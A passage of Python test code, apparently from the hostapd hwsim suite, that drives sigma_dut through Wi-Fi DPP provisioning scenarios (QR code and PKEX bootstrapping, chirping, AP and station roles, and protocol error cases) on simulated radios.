ev = dev.wait_event(["DPP-SCAN-PEER-QR-CODE"], timeout=10)
if ev is None:
raise Exception("QR Code scan for mutual authentication not requested")
dev.dpp_qr_code(uri)
ev = dev.wait_event(["DPP-CONF-SENT"], timeout=10)
if ev is None:
raise Exception("DPP configuration not completed (Configurator)")
logger.info("DPP responder/configurator done")
def test_sigma_dut_dpp_qr_mutual_init_enrollee(dev, apdev):
"""sigma_dut DPP/QR (mutual) initiator as Enrollee"""
run_sigma_dut_dpp_qr_mutual_init_enrollee(dev, apdev, False)
def test_sigma_dut_dpp_qr_mutual_init_enrollee_pending(dev, apdev):
"""sigma_dut DPP/QR (mutual) initiator as Enrollee (response pending)"""
run_sigma_dut_dpp_qr_mutual_init_enrollee(dev, apdev, True)
def run_sigma_dut_dpp_qr_mutual_init_enrollee(dev, apdev, resp_pending):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
if not resp_pending:
dev[1].dpp_qr_code(uri)
uri = None
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
t = threading.Thread(target=dpp_resp_conf_mutual,
args=(dev[1], conf_id, uri))
t.start()
time.sleep(1)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,10,DPPWaitForConnect,Yes"
res = sigma_dut_cmd(cmd, timeout=15)
t.join()
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_qr_init_enrollee_psk(dev, apdev):
"""sigma_dut DPP/QR initiator as Enrollee (PSK)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
params = hostapd.wpa2_params(ssid="DPPNET01",
passphrase="ThisIsDppPassphrase")
hapd = hostapd.add_ap(apdev[0], params)
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=sta-psk ssid=%s pass=%s configurator=%d" % (to_hex("DPPNET01"), to_hex("ThisIsDppPassphrase"), conf_id))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_qr_init_enrollee_sae(dev, apdev):
"""sigma_dut DPP/QR initiator as Enrollee (SAE)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
params = hostapd.wpa2_params(ssid="DPPNET01",
passphrase="ThisIsDppPassphrase")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
hapd = hostapd.add_ap(apdev[0], params)
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
dev[0].set("sae_groups", "")
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=sta-sae ssid=%s pass=%s configurator=%d" % (to_hex("DPPNET01"), to_hex("ThisIsDppPassphrase"), conf_id))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_qr_init_configurator_1(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 1)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 1)
def test_sigma_dut_dpp_qr_init_configurator_2(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 2)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 2)
def test_sigma_dut_dpp_qr_init_configurator_3(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 3)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 3)
def test_sigma_dut_dpp_qr_init_configurator_4(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 4)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 4)
def test_sigma_dut_dpp_qr_init_configurator_5(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 5)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 5)
def test_sigma_dut_dpp_qr_init_configurator_6(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 6)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 6)
def test_sigma_dut_dpp_qr_init_configurator_7(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (conf index 7)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 7)
def test_sigma_dut_dpp_qr_init_configurator_both(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator or Enrollee (conf index 1)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 1, "Both")
def test_sigma_dut_dpp_qr_init_configurator_neg_freq(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (neg_freq)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 1, extra='DPPSubsequentChannel,81/11')
def test_sigma_dut_dpp_qr_init_configurator_mud_url(dev, apdev):
"""sigma_dut DPP/QR initiator as Configurator (MUD URL)"""
run_sigma_dut_dpp_qr_init_configurator(dev, apdev, 1,
mud_url="https://example.com/mud")
def run_sigma_dut_dpp_qr_init_configurator(dev, apdev, conf_idx,
prov_role="Configurator",
extra=None, mud_url=None):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
if mud_url:
dev[1].set("dpp_mud_url", mud_url)
cmd = "DPP_LISTEN 2437 role=enrollee"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,%s,DPPConfIndex,%d,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,6" % (prov_role, conf_idx)
if extra:
cmd += "," + extra
res = sigma_dut_cmd(cmd)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
if mud_url and ",MUDURL," + mud_url not in res:
raise Exception("Unexpected result (missing MUD URL): " + res)
finally:
dev[1].set("dpp_mud_url", "")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_incompatible_roles_init(dev, apdev):
"""sigma_dut DPP roles incompatible (Initiator)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
cmd = "DPP_LISTEN 2437 role=enrollee"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Mutual,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6"
res = sigma_dut_cmd(cmd)
if "BootstrapResult,OK,AuthResult,ROLES_NOT_COMPATIBLE" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
def dpp_init_enrollee_mutual(dev, id1, own_id):
logger.info("Starting DPP initiator/enrollee in a thread")
time.sleep(1)
cmd = "DPP_AUTH_INIT peer=%d own=%d role=enrollee" % (id1, own_id)
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
ev = dev.wait_event(["DPP-CONF-RECEIVED",
"DPP-NOT-COMPATIBLE"], timeout=5)
if ev is None:
raise Exception("DPP configuration not completed (Enrollee)")
logger.info("DPP initiator/enrollee done")
def test_sigma_dut_dpp_incompatible_roles_resp(dev, apdev):
"""sigma_dut DPP roles incompatible (Responder)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd(cmd)
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
t = threading.Thread(target=dpp_init_enrollee_mutual, args=(dev[1], id1, id0))
t.start()
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Mutual,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6"
res = sigma_dut_cmd(cmd, timeout=10)
t.join()
if "BootstrapResult,OK,AuthResult,ROLES_NOT_COMPATIBLE" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_qr_enrollee_chirp(dev, apdev):
"""sigma_dut DPP/QR as chirping Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd_check(cmd)
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
conf_id = dev[1].dpp_configurator_add(key=csign)
idc = dev[1].dpp_qr_code(uri)
dev[1].dpp_bootstrap_set(idc, conf="sta-dpp", configurator=conf_id,
ssid="DPPNET01")
dev[1].dpp_listen(2437)
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,16,DPPWaitForConnect,Yes,DPPChirp,Enable", timeout=20)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def dpp_enrollee_chirp(dev, id1):
logger.info("Starting chirping Enrollee in a thread")
time.sleep(0.1)
cmd = "DPP_CHIRP own=%d" % id1
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP chirping")
ev = dev.wait_event(["DPP-CONF-RECEIVED"], timeout=15)
if ev is None:
raise Exception("DPP configuration not completed (Enrollee)")
logger.info("DPP enrollee done")
def test_sigma_dut_dpp_qr_configurator_chirp(dev, apdev):
"""sigma_dut DPP/QR as Configurator waiting for chirp"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
id1 = dev[1].dpp_bootstrap_gen(chan="81/1")
uri = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id1)
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
t = threading.Thread(target=dpp_enrollee_chirp, args=(dev[1], id1))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,16,DPPChirp,Enable,DPPChirpChannel,6", timeout=20)
t.join()
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_ap_dpp_qr_enrollee_chirp(dev, apdev, params):
"""sigma_dut DPP/QR AP as chirping Enrollee"""
check_dpp_capab(dev[0], min_ver=2)
check_dpp_capab(dev[1])
logdir = params['prefix'] + ".sigma-hostapd"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,program,DPP")
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd_check(cmd)
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
conf_id = dev[0].dpp_configurator_add(key=csign)
idc = dev[0].dpp_qr_code(uri)
dev[0].dpp_bootstrap_set(idc, conf="ap-dpp", configurator=conf_id,
ssid="DPPNET01")
dev[0].dpp_listen(2437)
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,16,DPPChirp,Enable", timeout=20)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
dev[1].set("dpp_config_processing", "2")
id = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id)
dev[1].dpp_listen(2437)
dev[0].dpp_auth_init(uri=uri, conf="sta-dpp", ssid="DPPNET01",
configurator=conf_id)
dev[1].wait_connected(timeout=20)
sigma_dut_cmd_check("ap_reset_default,program,DPP")
finally:
dev[1].set("dpp_config_processing", "0", allow_fail=True)
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_pkex_init_configurator(dev, apdev):
"""sigma_dut DPP/PKEX initiator as Configurator"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
id1 = dev[1].dpp_bootstrap_gen(type="pkex")
cmd = "DPP_PKEX_ADD own=%d identifier=test code=secret" % (id1)
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to set PKEX data (responder)")
cmd = "DPP_LISTEN 2437 role=enrollee"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,PKEX,DPPPKEXCodeIdentifier,test,DPPPKEXCode,secret,DPPTimeout,6")
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
def dpp_init_conf(dev, id1, conf, conf_id, extra):
logger.info("Starting DPP initiator/configurator in a thread")
cmd = "DPP_AUTH_INIT peer=%d conf=%s %s configurator=%d" % (id1, conf, extra, conf_id)
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
ev = dev.wait_event(["DPP-CONF-SENT"], timeout=5)
if ev is None:
raise Exception("DPP configuration not completed (Configurator)")
logger.info("DPP initiator/configurator done")
def test_sigma_dut_ap_dpp_qr(dev, apdev, params):
"""sigma_dut controlled AP (DPP)"""
run_sigma_dut_ap_dpp_qr(dev, apdev, params, "ap-dpp", "sta-dpp")
def test_sigma_dut_ap_dpp_qr_legacy(dev, apdev, params):
"""sigma_dut controlled AP (legacy)"""
run_sigma_dut_ap_dpp_qr(dev, apdev, params, "ap-psk", "sta-psk",
extra="pass=%s" % to_hex("qwertyuiop"))
def test_sigma_dut_ap_dpp_qr_legacy_psk(dev, apdev, params):
"""sigma_dut controlled AP (legacy)"""
run_sigma_dut_ap_dpp_qr(dev, apdev, params, "ap-psk", "sta-psk",
extra="psk=%s" % (32*"12"))
def run_sigma_dut_ap_dpp_qr(dev, apdev, params, ap_conf, sta_conf, extra=""):
check_dpp_capab(dev[0])
logdir = os.path.join(params['logdir'], "sigma_dut_ap_dpp_qr.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,program,DPP")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[0].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id1 = dev[0].dpp_qr_code(uri)
t = threading.Thread(target=dpp_init_conf,
args=(dev[0], id1, ap_conf, conf_id, extra))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6")
t.join()
if "ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
id1 = dev[1].dpp_bootstrap_gen(chan="81/1", mac=True)
uri1 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id1)
id0b = dev[0].dpp_qr_code(uri1)
dev[1].set("dpp_config_processing", "2")
cmd = "DPP_LISTEN 2412"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
cmd = "DPP_AUTH_INIT peer=%d conf=%s %s configurator=%d" % (id0b, sta_conf, extra, conf_id)
if "OK" not in dev[0].request(cmd):
raise Exception("Failed to initiate DPP Authentication")
dev[1].wait_connected(timeout=20)
sigma_dut_cmd_check("ap_reset_default")
finally:
dev[1].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_ap_dpp_offchannel(dev, apdev, params):
"""sigma_dut controlled AP doing DPP on offchannel"""
check_dpp_capab(dev[0])
logdir = params['prefix'] + ".sigma-hostapd"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,program,DPP")
sigma_dut_cmd_check("ap_preset_testparameters,Program,DPP,Oper_Chn,3")
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
if "C:81/3;" not in uri:
raise Exception("Unexpected channel in AP's URI: " + uri)
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[0].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[0].dpp_bootstrap_gen(chan="81/7", mac=True)
uri0 = dev[0].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[0].set("dpp_configurator_params",
"conf=ap-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
dev[0].dpp_listen(2442)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6")
if "ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
id1 = dev[1].dpp_bootstrap_gen(chan="81/1", mac=True)
uri1 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id1)
id0b = dev[0].dpp_qr_code(uri1)
dev[1].set("dpp_config_processing", "2")
cmd = "DPP_LISTEN 2412"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
cmd = "DPP_AUTH_INIT peer=%d conf=sta-dpp ssid=%s configurator=%d" % (id0b, to_hex("DPPNET01"), conf_id)
if "OK" not in dev[0].request(cmd):
raise Exception("Failed to initiate DPP Authentication")
dev[1].wait_connected(timeout=20)
sigma_dut_cmd_check("ap_reset_default")
finally:
dev[1].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_ap_dpp_pkex_responder(dev, apdev, params):
"""sigma_dut controlled AP as DPP PKEX responder"""
check_dpp_capab(dev[0])
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_dpp_pkex_responder.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
run_sigma_dut_ap_dpp_pkex_responder(dev, apdev)
finally:
stop_sigma_dut(sigma)
def dpp_init_conf_pkex(dev, conf_id, check_config=True):
logger.info("Starting DPP PKEX initiator/configurator in a thread")
time.sleep(1.5)
id = dev.dpp_bootstrap_gen(type="pkex")
cmd = "DPP_PKEX_ADD own=%d init=1 conf=ap-dpp configurator=%d code=password" % (id, conf_id)
res = dev.request(cmd)
if "FAIL" in res:
raise Exception("Failed to initiate DPP PKEX")
if not check_config:
return
ev = dev.wait_event(["DPP-CONF-SENT"], timeout=5)
if ev is None:
raise Exception("DPP configuration not completed (Configurator)")
logger.info("DPP initiator/configurator done")
def run_sigma_dut_ap_dpp_pkex_responder(dev, apdev):
sigma_dut_cmd_check("ap_reset_default,program,DPP")
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[0].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
t = threading.Thread(target=dpp_init_conf_pkex, args=(dev[0], conf_id))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Mutual,DPPProvisioningRole,Enrollee,DPPBS,PKEX,DPPPKEXCode,password,DPPTimeout,6,DPPWaitForConnect,No", timeout=10)
t.join()
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
sigma_dut_cmd_check("ap_reset_default")
def test_sigma_dut_dpp_pkex_responder_proto(dev, apdev):
"""sigma_dut controlled STA as DPP PKEX responder and error case"""
check_dpp_capab(dev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_pkex_responder_proto(dev, apdev)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_pkex_responder_proto(dev, apdev):
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
dev[1].set("dpp_test", "44")
t = threading.Thread(target=dpp_init_conf_pkex, args=(dev[1], conf_id,
False))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPProvisioningRole,Enrollee,DPPBS,PKEX,DPPPKEXCode,password,DPPTimeout,6", timeout=10)
t.join()
if "BootstrapResult,Timeout" not in res:
raise Exception("Unexpected result: " + res)
def dpp_proto_init(dev, id1):
time.sleep(1)
logger.info("Starting DPP initiator/configurator in a thread")
cmd = "DPP_CONFIGURATOR_ADD"
res = dev.request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
cmd = "DPP_AUTH_INIT peer=%d conf=sta-dpp configurator=%d" % (id1, conf_id)
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
def test_sigma_dut_dpp_proto_initiator(dev, apdev):
"""sigma_dut DPP protocol testing - Initiator"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("InvalidValue", "AuthenticationRequest", "WrappedData",
"BootstrapResult,OK,AuthResult,Errorsent",
None),
("InvalidValue", "AuthenticationConfirm", "WrappedData",
"BootstrapResult,OK,AuthResult,Errorsent",
None),
("MissingAttribute", "AuthenticationRequest", "InitCapabilities",
"BootstrapResult,OK,AuthResult,Errorsent",
"Missing or invalid I-capabilities"),
("InvalidValue", "AuthenticationConfirm", "InitAuthTag",
"BootstrapResult,OK,AuthResult,Errorsent",
"Mismatching Initiator Authenticating Tag"),
("MissingAttribute", "ConfigurationResponse", "EnrolleeNonce",
"BootstrapResult,OK,AuthResult,OK,ConfResult,Errorsent",
"Missing or invalid Enrollee Nonce attribute")]
for step, frame, attr, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_initiator(dev, step, frame, attr, result,
fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_initiator(dev, step, frame, attr, result, fail):
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
cmd = "DPP_LISTEN 2437 role=enrollee"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
